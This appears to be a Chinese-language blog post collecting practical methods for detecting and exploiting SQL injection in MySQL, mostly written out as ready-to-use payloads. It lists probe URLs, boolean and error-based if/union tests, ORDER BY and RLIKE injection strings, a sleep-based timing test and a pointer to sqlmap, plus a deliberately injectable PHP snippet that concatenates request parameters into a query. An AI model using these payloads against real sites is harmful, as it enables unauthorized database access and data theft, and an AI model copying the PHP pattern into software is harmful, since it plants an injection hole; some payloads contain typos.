sql注入mysql判断_SQL注入判断方法总结(持续更新)

http://e.com/1.php?id=1

http://e.com/1.php?id=1-- sd

http://e.com/1.php?id=aaa

http://e.com/1.php?id=aaa'-- sd

http://e.com/1.php?id=aaa

http://e.com/1.php?id=aaa' '

http://e.com/1.php?id=aaa'||'

http://e.com/1.php?id=aaa'%2b'

id=1 and 1=if(1=2,1,(select 1 union select 2))

id=1 and 1=if(1=1,1,(select 1 union select 2))

id=1 order by 1正常

id=1 order by 1, 错误

id=1 order by 1, 1正常

Content-Type: application/json 时:

可以尝试用 \u0027 代替单引号。

orderby 注入:

$con= mysql_connect("localhost","root","123456") or die();

mysql_select_db("burp");

$orderby = $_POST['orderby'];

$order= $_POST['order'];

$sql= "select * from `sql` order by".$orderby." ".$order;

echo $sql;

$res=mysql_query($sql);

echo"
";

echo"";while($rows =@mysql_fetch_array($res,MYSQL_ASSOC)){

echo $rows['new'];

}

echo"";?>

上面的代码 $orderby 和 $order 都存在注入

8eaf15d88ef3ae52d6276b0e9ae10363.png

这里一般遇到order orderby 参数 我一般会这样来测

orderby=id,&order=asc

orderby=id,1&order=asc

b02a09acaad27b5a804e234e6d1c3b51.png

1c4b422928ded3065790255ec56a8d66.png

所以可以这样来进行注入

,if(1=1,1,(select 1 union sleect 2))

,if(1=2,1,(select 1 union sleect 2))

f5a9dbe0abec4774107da41abf539bd8.png

14f762bc4959dfb709fd9ed6c6b608b8.png

然后就可以放进sqlmap 愉快的跑了。

order 参数同上。

下面说另外一种注入方法:

先列2个语句

mysql> select user from mysql.user where user='admin' order by user rlike char(40);

ERROR1139 (42000): Got error 'parentheses not balanced' fromregexp

mysql> select user from mysql.user where user='admin' order by user rlike 1;+-------+

| user |

+-------+

| admin |

+-------+

1 row in set (0.00 sec)

886a8715b3018b9162c29db88f17210e.png

4d5404e28b3271635aa4496bc73916b2.png

所以就可以构造这样的语句

orderby=id&order=rlike if(1=1,1,char(40))

orderby=id&order=rlike if(1=21,1,char(40))

或者 rlike (case when 1=1 then 1 else (select 1 union select 2)end)

1df2d7d6bdf8a89930d9199646207182.png

92f466518a37e985bc046c9ee823a99e.png

跑数据就可以

rlike (case when 1=1 sqlinject then 1 else (select 1 union select 2)end)

最后也可以 使用sleep 来进行判断注入

orderby=sleep(1)&order=asc

b3983b3537ed64b4e19948e6a591e9fa.png

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值